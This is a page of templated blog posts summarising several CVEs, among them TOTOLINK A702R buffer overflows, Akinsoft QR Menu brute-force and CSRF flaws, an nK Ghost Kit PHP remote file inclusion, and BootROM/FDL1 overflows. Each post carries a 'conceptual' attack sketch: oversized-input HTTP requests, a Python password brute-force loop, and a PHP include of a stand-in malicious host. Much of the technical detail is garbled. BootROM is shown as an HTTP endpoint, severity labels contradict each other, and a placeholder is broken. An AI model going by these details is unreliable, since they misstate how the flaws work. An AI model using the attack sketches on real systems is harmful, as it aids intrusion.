Author: Ameeba

Overview

The cybersecurity world has been rocked by a new vulnerability found in TOTOLINK A702R firmware version 4.0.0-B20211108.1423. This vulnerability, dubbed CVE-2025-9782, affects the function sub_4466F8 of the file /boafrm/formOneKeyAccessButton and is of particular concern due to its high CVSS Severity Score of 8.8. This vulnerability opens the door to potential system compromise or data leakage, making it a significant risk to any users, businesses, or organizations that employ the affected TOTOLINK firmware.
Given that the exploit can be initiated remotely and has been made public, the urgency for addressing this vulnerability increases. This blog post aims to provide a comprehensive understanding of this vulnerability, its potential impact, and how it may be mitigated or patched.

Vulnerability Summary

CVE ID: CVE-2025-9782
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK A702R | 4.0.0-B20211108.1423

How the Exploit Works

CVE-2025-9782 is a buffer overflow vulnerability. It arises from improper validation of user-supplied input within the ‘submit-url’ argument in the ‘sub_4466F8’ function of the ‘/boafrm/formOneKeyAccessButton’ file. An attacker can exploit this to overflow the buffer by providing a longer argument than expected. This could lead to the execution of arbitrary code or even allow the attacker to take control of the system.

Conceptual Example Code

Please note that the following is a conceptual example and is not intended to work in a real-world scenario. It demonstrates how an attacker might exploit the vulnerability:

POST /boafrm/formOneKeyAccessButton HTTP/1.1
Host: victim.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=<malicious_payload>

In this example, “ represents a carefully crafted string designed to overflow the buffer and possibly execute arbitrary code.

Recommended Mitigation

Users of TOTOLINK A702R firmware version 4.0.0-B20211108.1423 are advised to apply the vendor patch as soon as it is available. In the meantime, users can implement Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as a temporary mitigation measure to detect and block attempts to exploit the vulnerability.

Overview

In the ever-evolving world of cybersecurity, new vulnerabilities are a common occurrence. One such critical vulnerability has been discovered in TOTOLINK A702R version 4.0.0-B20211108.1423. This vulnerability, assigned the identifier CVE-2025-9781, is a severe threat to all users of the affected product as the exploit can be initiated remotely, potentially leading to system compromise or data leakage.
This vulnerability is particularly concerning due to the high CVSS severity score of 8.8, indicating a high impact upon successful exploitation. This blog post aims to detail the vulnerability, its impact, and the necessary steps to mitigate the threat.

Vulnerability Summary

CVE ID: CVE-2025-9781
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK A702R | 4.0.0-B20211108.1423

How the Exploit Works

The vulnerability lies in the handling of the ‘ip6addr’ argument in the function ‘sub_4162DC’ of the file ‘/boafrm/formFilter’. By manipulating this argument, an attacker can cause a buffer overflow condition. Buffer overflows occur when more data is written to a piece of memory than it can handle, which can cause data to spill over into adjacent memory spaces.
In this case, an attacker could send a specially crafted request containing a long ‘ip6addr’ argument to the target device. This overflow can corrupt memory and potentially allow for the execution of arbitrary code or cause a denial of service.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

POST /boafrm/formFilter HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
ip6addr=0201:0db8:85a3:0000:0000:8a2e:0370:7334...[additional data]

In this example, the ‘ip6addr’ argument is filled with more data than it can handle, leading to a buffer overflow.
Please note that this is a simplified and conceptual example. Real-world exploits may involve additional techniques or steps to successfully exploit the vulnerability.

Mitigation

The vendor has issued a patch for the affected product. Users are strongly advised to apply this patch immediately. If unable to patch immediately, users should consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure, although these are not guaranteed to fully protect against the exploit.

Overview

The cybersecurity world has yet again been hit with a new vulnerability, CVE-2025-9780, that affects TOTOLINK A702R 4.0.0-B20211108.1423. This vulnerability is significant due to the potential system compromise or data leakage that could occur if exploited. It’s important for users and administrators of this software to understand the depth of this issue as it affects a popular function, sub_419BE0, in the file /boafrm/formIpQoS. With the exploit being published and available for use, it has become even more critical to understand and mitigate this vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-9780
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

TOTOLINK A702R | 4.0.0-B20211108.1423

How the Exploit Works

The flaw in the TOTOLINK A702R stems from a buffer overflow vulnerability that happens due to incorrect handling of the ‘mac’ argument in the function ‘sub_419BE0’ of the file ‘/boafrm/formIpQoS. When malformed or oversized data is input into the ‘mac’ argument, the buffer overflows, causing erratic program behavior or even allowing an attacker to execute arbitrary code.

Conceptual Example Code

Here’s a conceptual example of an HTTP request that could exploit this vulnerability:

POST /boafrm/formIpQoS HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "mac": "OVERSIZED_INPUT_DATA" }

In this example, “OVERSIZED_INPUT_DATA” represents a value that is larger than the buffer assigned to the ‘mac’ argument. When this data is processed, it overflows the buffer, leading to the vulnerability.

Mitigation Guidance

In order to mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it is available. As an interim solution, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help identify and block attempts to exploit this vulnerability. Please note that these are temporary measures and applying the vendor patch should be the ultimate goal to secure your system.

Overview

The cybersecurity world has witnessed the emergence of a new high-severity vulnerability in the TOTOLINK A702R 4.0.0-B20211108.1423. This vulnerability, labeled as CVE-2025-9779, involves a buffer overflow that occurs within the function sub_4162DC of the file /boafrm/formFilter. It is a serious issue as the vulnerability can be exploited remotely, making various systems prone to potential compromise or data leakage. The exploit is public, which increases the risk of it being used by malicious entities.

Vulnerability Summary

CVE ID: CVE-2025-9779
Severity: High (CVSS 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK A702R | 4.0.0-B20211108.1423

How the Exploit Works

The vulnerability arises from a buffer overflow condition in the function sub_4162DC of the file /boafrm/formFilter. This occurs when an oversized, specially crafted ‘ip6addr’ argument is passed to this function. The function does not properly validate the length of this argument which results in a buffer overflow. An attacker can exploit this vulnerability by sending a specially crafted request to the targeted system, leading to arbitrary code execution or even system crash.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is a hypothetical HTTP request, where an attacker sends a malicious payload in the ‘ip6addr’ field.

POST /boafrm/formFilter HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "ip6addr": "2001:0db8:85a3:0000:0000:8a2e:0370:7334aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..." }

In this example, the value of ‘ip6addr’ is deliberately oversized, causing a buffer overflow in the function sub_4162DC.

Mitigation Guidance

Users are advised to apply the vendor patch as soon as it becomes available. In the meantime, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation, helping to detect and potentially block attempts to exploit this vulnerability. Additionally, users should monitor any suspicious network activity and ensure that their systems are updated with the latest security patches and updates.

Overview

The world of cybersecurity has witnessed yet another vulnerability, this time within the Akinsoft QR Menu. Identified as CVE-2025-2412, this vulnerability is of significant concern due to its potential to permit authentication bypass, leading to unauthorized system access. As the QR Menu is widely implemented in many businesses for efficient service delivery, a vast number of systems are potentially exposed to this security risk, making it a matter of serious concern for organizations and cybersecurity professionals alike.

Vulnerability Summary

CVE ID: CVE-2025-2412
Severity: High (CVSS Score 8.6)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized system access, potential data leakage and system compromise

Affected Products

Product | Affected Versions

Akinsoft QR Menu | s1.05.07 – v1.05.11

How the Exploit Works

The vulnerability exploits improper restriction of excessive authentication attempts in the QR Menu. An attacker can make multiple failed attempts without being locked out or slowed down. This scenario can be exploited to perform a brute force attack, where an attacker systematically checks all possible passwords until the correct one is found. Once successful, this vulnerability grants the attacker unauthorized access to the compromised system.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This pseudocode represents a brute force attack, systematically attempting all possible password combinations:

import requests
def exploit(target):
for password in generate_all_possible_passwords():
response = requests.post(
f'http://{target}/login',
data={'username': 'admin', 'password': password}
)
if response.status_code == 200:
print(f'Success! The password is {password}')
break

This pseudocode attempts to log in as the ‘admin’ user by trying all possible passwords. The `generate_all_possible_passwords` function isn’t defined here, but in a real attack it might generate passwords using a dictionary of common passwords, or even every possible combination of characters.
Remember, this is a conceptual example and does not represent a real attack. It’s shared to demonstrate the potential risk posed by the CVE-2025-2412 vulnerability.

Overview

This article provides a deep dive into the recently discovered vulnerability, CVE-2025-0610, a Cross-Site Request Forgery (CSRF) vulnerability in Akınsoft QR Menü. This vulnerability affects versions s1.05.06 to v1.05.12 and has the potential to lead to system compromise or data leakage. This issue is particularly concerning due to the widespread use of the Akınsoft QR Menü in various sectors, making it a prime target for malicious actors.

Vulnerability Summary

CVE ID: CVE-2025-0610
Severity: High (8.6 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Akınsoft QR Menü | s1.05.06 to v1.05.12

How the Exploit Works

The vulnerability CVE-2025-0610 leverages a CSRF flaw in Akınsoft QR Menü. A CSRF attack occurs when an attacker tricks a victim into performing actions on their behalf on a web application in which they’re authenticated. With this vulnerability, an attacker could potentially send a crafted request to a user. If the user executes the request, the attacker could execute arbitrary actions on the system with the privileges of the victim, leading to potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited using a malicious HTTP request:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "csrf_token": "victim's token", "action": "malicious action" }

In this example, the attacker creates a post request with the victim’s CSRF token and a malicious action. If the victim’s browser executes this request, the attacker will be able to carry out the malicious action on behalf of the victim.

Mitigation and Prevention

Users of Akınsoft QR Menü versions s1.05.06 to v1.05.12 are advised to immediately apply the vendor patch to mitigate this vulnerability. In the absence of a patch, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. Regularly updating software and using robust security systems can also help prevent the exploitation of such vulnerabilities.

Overview

The newly discovered vulnerability, designated as CVE-2025-53567, poses a critical threat to websites using the nK Ghost Kit plugin. This PHP Remote File Inclusion vulnerability allows an attacker to execute arbitrary code on the server, potentially leading to system compromise or data leakage. Given the popularity of PHP and nK Ghost Kit in web development, this issue could affect a significant number of websites worldwide, potentially exposing a large amount of sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-53567
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

nK Ghost Kit | Up to and including 3.4.1

How the Exploit Works

The vulnerability stems from an improper control of filename for Include/Require Statement in the PHP program within nK Ghost Kit. This allows an attacker to manipulate the input data and include a remote file from an external server. When the server processes the request, the malicious PHP code contained in the remote file is executed.

Conceptual Example Code

The following pseudocode provides a conceptual understanding of how this exploit might be executed.

<?php
// The attacker-controlled variable that contains the URL of the remote file
$attacker_controlled_url = "http://malicious.example.com/malicious_file.php";
// The vulnerable include/require statement
include($attacker_controlled_url);
?>

In this example, the attacker has control over the `$attacker_controlled_url` variable. When the include statement is executed, the PHP interpreter fetches the file from `http://malicious.example.com/malicious_file.php` and executes its content as PHP code. If the malicious file contains code for a shell command or data exfiltration, it can lead to system compromise or data leakage.

Mitigation

As a temporary mitigation measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be deployed to block attempts to exploit this vulnerability. However, the most effective solution is to apply the vendor-supplied patch. If you are using an affected version of nK Ghost Kit, it is recommended to update it immediately to protect your system from potential attacks.

Overview

CVE-2022-38696 is a critical security vulnerability that has been identified in the BootRom software, which if exploited, could lead to a buffer overflow condition. This condition could potentially allow attackers to execute arbitrary code, leading to system compromise or data leakage. Given the ubiquitous nature of BootRom in various devices and systems, this vulnerability presents a significant risk to organizations, necessitating immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2022-38696
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

BootRom | All versions prior to the latest patch

How the Exploit Works

The vulnerability originates from a missing payload size check within the BootRom software. As a result, an attacker can send an excessively large payload to the system, causing a buffer overflow. This overflow can corrupt data, crash the system, or allow the execution of malicious code. Since no additional execution privileges are required, the vulnerability can be exploited by any attacker who can reach the system over the network.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability using a malicious payload.

POST /bootrom/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
{ "payload": "A".repeat(1000000) }

In the example above, the attacker sends a POST request to the vulnerable BootRom endpoint with an excessively large payload. The ‘A’.repeat(1000000) is a placeholder for a payload large enough to cause a buffer overflow.

How to Mitigate the Risk

The most effective way to mitigate the risk associated with this vulnerability is to apply the latest patch provided by the vendor. This patch addresses the payload size check issue, thus preventing the buffer overflow condition.
For those unable to immediately apply the patch, temporary mitigation can be achieved through the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). These systems can be configured to monitor and block suspiciously large payloads, offering some protection until the patch can be applied. However, this is a temporary solution and does not fully address the underlying issue. As such, applying the patch should be prioritized as soon as feasible.

Overview

The vulnerability, identified as CVE-2022-38693, is a critical issue embedded in the FDL1 software component. It involves a potential missing payload size check, which could lead to a memory buffer overflow situation. This vulnerability is highly significant as it does not require additional execution privileges, making it much easier for a potential attacker to exploit. Furthermore, the consequences of a successful exploit could result in system compromise or data leakage, putting sensitive information at risk.

Vulnerability Summary

CVE ID: CVE-2022-38693
Severity: Critical (9.8)
Attack Vector: Local network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

FDL1 | All versions up to latest

How the Exploit Works

The exploit works by taking advantage of a missing payload size check in FDL1. An attacker can send a large payload that the system does not properly check the size of. This results in a buffer overflow, allowing the attacker to overwrite memory and potentially execute arbitrary code. This could lead to system compromise or data leakage, depending on the specifics of the system and the attacker’s intentions.

Conceptual Example Code

This vulnerability might be exploited with a malicious HTTP POST request that includes a large payload, as illustrated conceptually below:

POST /fdl1/process HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "payload": "A very long string that exceeds the buffer size..."}

The string in the “payload” field is longer than the buffer size that FDL1 is prepared to handle. If the payload size check is missing or improperly implemented, this could result in a buffer overflow.

Mitigation Guidance

Immediate mitigation for this vulnerability includes applying the vendor patch if available. If no patch is available, temporary mitigation may include implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block potentially malicious payloads. However, these are not long-term solutions, and users are strongly encouraged to apply the vendor’s patch as soon as it becomes available.
Keeping software up-to-date and following the principle of least privilege when assigning user roles and permissions can also help reduce the risk of this and other vulnerabilities.

Overview

BootROM, a fundamental component in many computing systems, is susceptible to a critical vulnerability identified as CVE-2022-38692. This vulnerability pertains to the missing size check for RSA keys during Certificate Type 0 validation, which can potentially cause memory buffer overflow. This issue is significant as it does not necessitate additional execution privileges, thereby increasing the ease and potential impact of exploitation. The vulnerability affects a broad range of users and systems, making it a prominent concern in the cybersecurity landscape.

Vulnerability Summary

CVE ID: CVE-2022-38692
Severity: Critical (CVSS Score: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

BootROM | All versions prior to the security patch

How the Exploit Works

The exploit hinges on the lack of size check for RSA keys during the validation of Certificate Type 0 in BootROM. In cryptographic operations, RSA keys are essential, and their management is a critical security concern. An attacker can craft a Certificate Type 0 with an oversized RSA key, which the BootROM would attempt to load into a buffer of a predefined size. The oversized key leads to a buffer overflow, potentially causing system instability or creating an opportunity for the execution of malicious code.

Conceptual Example Code

Below is a conceptual pseudocode example of how the vulnerability might be exploited:

def exploit(target):
# Prepare an oversized RSA key.
oversized_rsa_key = generate_rsa_key(size=OVERSIZED)
# Craft a Certificate Type 0 with the oversized RSA key.
crafted_certificate = craft_certificate(rsa_key=oversized_rsa_key)
# Send the crafted certificate to the target.
send_to_target(target, crafted_certificate)

This code generates an oversized RSA key, embeds it into a crafted Certificate Type 0, and sends it to the target. The BootROM on the target system will attempt to load this oversized key into a buffer, causing a buffer overflow.

Mitigation Guidance

To mitigate or resolve this vulnerability, users are strongly encouraged to apply the vendor’s security patch as soon as it becomes available. If the patch is not immediately accessible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These systems can help detect and prevent attempts to exploit the vulnerability, thereby reducing the risk of a successful attack.